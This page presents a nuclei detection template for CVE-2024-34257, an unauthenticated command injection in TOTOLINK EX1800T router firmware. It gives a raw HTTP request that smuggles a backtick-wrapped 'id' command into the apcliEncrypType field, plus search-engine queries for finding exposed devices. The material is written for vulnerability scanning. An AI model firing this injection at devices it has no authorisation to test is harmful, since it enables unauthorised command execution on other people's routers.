TOTOLINK EX1800T TOTOLINK EX1800T - Command Injection

highseverity

3.8%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

TOTOLINK EX1800T V9.1.0cu.2112_B20220316 has a vulnerability in the apcliEncrypType parameter that allows unauthorized execution of arbitrary commands, allowing an attacker to obtain device administrator privileges.

Impact

Unauthenticated attackers can execute arbitrary commands via the apcliEncrypType parameter, gaining device administrator privileges.

Fix

Update TOTOLINK EX1800T firmware to a version that patches the command injection vulnerability.

How to confirm it

Send: POST /cgi-bin/cstecgi.cgi ; GET /{{file}}.txt
Positive when: contains in body_1 "\"success\": true" AND matches in body_2 /uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)/ AND status 200

Run it with nuclei: nuclei -id CVE-2024-34257 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-34257

info:
  name: TOTOLINK EX1800T TOTOLINK EX1800T - Command Injection
  author: pussycat0x
  severity: high
  description: |
    TOTOLINK EX1800T V9.1.0cu.2112_B20220316 has a vulnerability in the apcliEncrypType parameter that allows unauthorized execution of arbitrary commands, allowing an attacker to obtain device administrator privileges.
  impact: |
    Unauthenticated attackers can execute arbitrary commands via the apcliEncrypType parameter, gaining device administrator privileges.
  remediation: |
    Update TOTOLINK EX1800T firmware to a version that patches the command injection vulnerability.
  reference:
    - https://github.com/ZackSecurity/VulnerReport/blob/cve/totolink/EX1800T/1.md
    - https://immense-mirror-b42.notion.site/TOTOLINK-EX1800T-has-an-unauthorized-arbitrary-command-execution-vulnerability-2f3e308f5e1d45a2b8a64f198cacc350
    - https://github.com/20142995/nuclei-templates
  classification:
    epss-score: 0.03817
    epss-percentile: 0.90145
  metadata:
    vendor: totolink
    product: a3700r_firmware
    shodan-query: http.title:"totolink"
    fofa-query: title="totolink"
    google-query: intitle:"totolink"
  tags: cve,cve2024,rce,unauth,vkev,vuln

variables:
  file: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /cgi-bin/cstecgi.cgi HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{RootURL}}/page/index.html

        {
        "token":"",
        "apcliEncrypType":"`id>../{{file}}.txt`",
        "topicurl":"setWiFiExtenderConfig"
        }
      - |
        GET /{{file}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - '"success": true'

      - type: regex
        part: body_2
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from